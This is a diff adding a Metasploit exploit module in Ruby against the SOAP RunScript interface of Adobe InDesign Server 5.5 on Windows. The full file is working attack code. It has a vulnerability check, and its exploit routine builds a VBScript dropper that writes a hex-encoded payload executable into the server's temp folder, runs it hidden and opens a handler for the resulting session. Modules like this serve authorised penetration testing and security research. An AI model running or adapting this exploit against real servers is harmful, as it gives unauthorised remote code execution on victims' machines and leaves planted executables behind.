|
| 1 | +## |
| 2 | +# This file is part of the Metasploit Framework and may be subject to |
| 3 | +# redistribution and commercial restrictions. Please see the Metasploit |
| 4 | +# Framework web site for more information on licensing and terms of use. |
| 5 | +# http://metasploit.com/framework/ |
| 6 | +## |
| 7 | + |
| 8 | +require 'msf/core' |
| 9 | + |
| 10 | +class Metasploit3 < Msf::Exploit::Remote |
| 11 | + Rank = ExcellentRanking |
| 12 | + |
| 13 | + include Msf::Exploit::Remote::HttpClient |
| 14 | + include Msf::Exploit::EXE |
| 15 | + |
| 16 | + def initialize(info = {}) |
| 17 | + super(update_info(info, |
| 18 | + 'Name' => 'Adobe IndesignServer 5.5 SOAP Server Arbitrary Script Execution', |
| 19 | + 'Description' => %q{ |
| 20 | + The SOAP interface of Adobe InDesign Server provides a "RunScript" procedure, which |
| 21 | + can be used to execute abritary vbscript (Windows) or applescript(OSX). |
| 22 | +
|
| 23 | + While the OSX version of Adobe IndesignServer is also vulnerable, this exploit only |
| 24 | + targets windows installations. |
| 25 | +
|
| 26 | + The exploit creates an exe file with the payload on the server which must be removed |
| 27 | + manually. |
| 28 | + }, |
| 29 | + 'Author' => [ 'h0ng10' ], |
| 30 | + 'License' => MSF_LICENSE, |
| 31 | + 'Version' => '$Revision: 11127 $', |
| 32 | + 'Platform' => 'win', |
| 33 | + 'Privileged' => false, |
| 34 | + 'DisclosureDate' => 'Nov 11 2012', |
| 35 | + 'References' => |
| 36 | + [ |
| 37 | + [ 'OSVDB', '87548'], |
| 38 | + [ 'URL', 'http://secunia.com/advisories/48572/' ] |
| 39 | + ], |
| 40 | + 'Targets' => |
| 41 | + [ |
| 42 | + [ 'Windows', { } ], #OSX |
| 43 | + ], |
| 44 | + 'DefaultTarget' => 0 |
| 45 | + )) |
| 46 | + |
| 47 | + register_options( [ Opt::RPORT(12345) ], self.class ) |
| 48 | + end |
| 49 | + |
| 50 | + |
| 51 | + def send_soap_request(script_code) |
| 52 | + script_code.gsub!(/&/, '&') |
| 53 | + soap_xml = %Q{ |
| 54 | +<?xml version="1.0" encoding="UTF-8"?> |
| 55 | +<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" |
| 56 | +xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" |
| 57 | +xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:IDSP="http://ns.adobe.com/InDesign/soap/"> |
| 58 | + <SOAP-ENV:Body> |
| 59 | + <IDSP:RunScript> |
| 60 | + <IDSP:runScriptParameters> |
| 61 | + <IDSP:scriptText>#{script_code}</IDSP:scriptText> |
| 62 | + <IDSP:scriptLanguage>visual basic</IDSP:scriptLanguage> |
| 63 | + </IDSP:runScriptParameters> |
| 64 | + </IDSP:RunScript> |
| 65 | + </SOAP-ENV:Body> |
| 66 | +</SOAP-ENV:Envelope> |
| 67 | +} |
| 68 | + |
| 69 | + res = send_request_cgi({ |
| 70 | + 'uri' => '/', |
| 71 | + 'method' => 'POST', |
| 72 | + 'content-type' => 'application/x-www-form-urlencoded', |
| 73 | + 'data' => soap_xml, |
| 74 | + }, 5) |
| 75 | + end |
| 76 | + |
| 77 | + |
| 78 | + def check() |
| 79 | + # Use a very simple vb_script |
| 80 | + check_var = rand_text_numeric(10) |
| 81 | + checkscript = 'returnValue = "' + check_var + '"' |
| 82 | + |
| 83 | + res = send_soap_request(checkscript) |
| 84 | + |
| 85 | + return Exploit::CheckCode::Unknown if res.nil? or res.code != 200 |
| 86 | + return Exploit::CheckCode::Vulnerable if res.body.include?('<data xsi:type="xsd:string">' + check_var + '</data>') |
| 87 | + |
| 88 | + Exploit::CheckCode::Safe |
| 89 | + end |
| 90 | + |
| 91 | + def exploit |
| 92 | + print_status("Creating payload vbs script") |
| 93 | + |
| 94 | + #exe = Msf::Util::EXE.to_win32pe_old(framework, payload.encoded) |
| 95 | + #vbs = Msf::Util::EXE.to_exe_vbs(exe) |
| 96 | + |
| 97 | + encoded_payload = generate_payload_exe().unpack("H*").join |
| 98 | + exe_file = Rex::Text.rand_text_alpha_upper(8) + ".exe" |
| 99 | + wsf = Rex::Text.rand_text_alpha(8) |
| 100 | + payload_var = Rex::Text.rand_text_alpha(8) |
| 101 | + exe_name_var = Rex::Text.rand_text_alpha(8) |
| 102 | + file_var = Rex::Text.rand_text_alpha(8) |
| 103 | + byte_var = Rex::Text.rand_text_alpha(8) |
| 104 | + shell_var = Rex::Text.rand_text_alpha(8) |
| 105 | + |
| 106 | + # This one creates a smaller vbs payload (without deletion) |
| 107 | + vbs = %Q{ |
| 108 | +Set #{wsf} = CreateObject("Scripting.FileSystemObject") |
| 109 | +#{payload_var} = "#{encoded_payload}" |
| 110 | +#{exe_name_var} = #{wsf}.GetSpecialFolder(2) + "\\#{exe_file}" |
| 111 | +Set #{file_var} = #{wsf}.opentextfile(#{exe_name_var}, 2, TRUE) |
| 112 | +For x = 1 To Len(#{payload_var})-3 Step 2 |
| 113 | + #{byte_var} = Chr(38) & "H" & Mid(#{payload_var}, x, 2) |
| 114 | + #{file_var}.write Chr(#{byte_var}) |
| 115 | +Next |
| 116 | +
|
| 117 | +#{file_var}.write Chr(#{byte_var}) |
| 118 | +#{file_var}.close |
| 119 | +
|
| 120 | +Set #{shell_var} = CreateObject("Wscript.Shell") |
| 121 | +#{shell_var}.Run Chr(34) & #{exe_name_var} & Chr(34), 0, False |
| 122 | +Set #{shell_var} = Nothing |
| 123 | +returnValue = #{exe_name_var} |
| 124 | +} |
| 125 | + |
| 126 | + |
| 127 | + # vbs = Msf::Util::EXE.to_exe_vbs(exe) |
| 128 | + print_status("Sending SOAP request") |
| 129 | + |
| 130 | + res = send_soap_request(vbs) |
| 131 | + if res != nil and res.body != nil then |
| 132 | + file_to_delete = res.body.to_s.scan(/<data xsi:type="xsd:string">(.*)<\/data><\/scriptResult>/).flatten[0] |
| 133 | + print_status "Payload deployed to #{file_to_delete.to_s}, please remove manually" |
| 134 | + end |
| 135 | + handler |
| 136 | + end |
| 137 | + |
| 138 | + |
| 139 | + |
| 140 | +end |
0 commit comments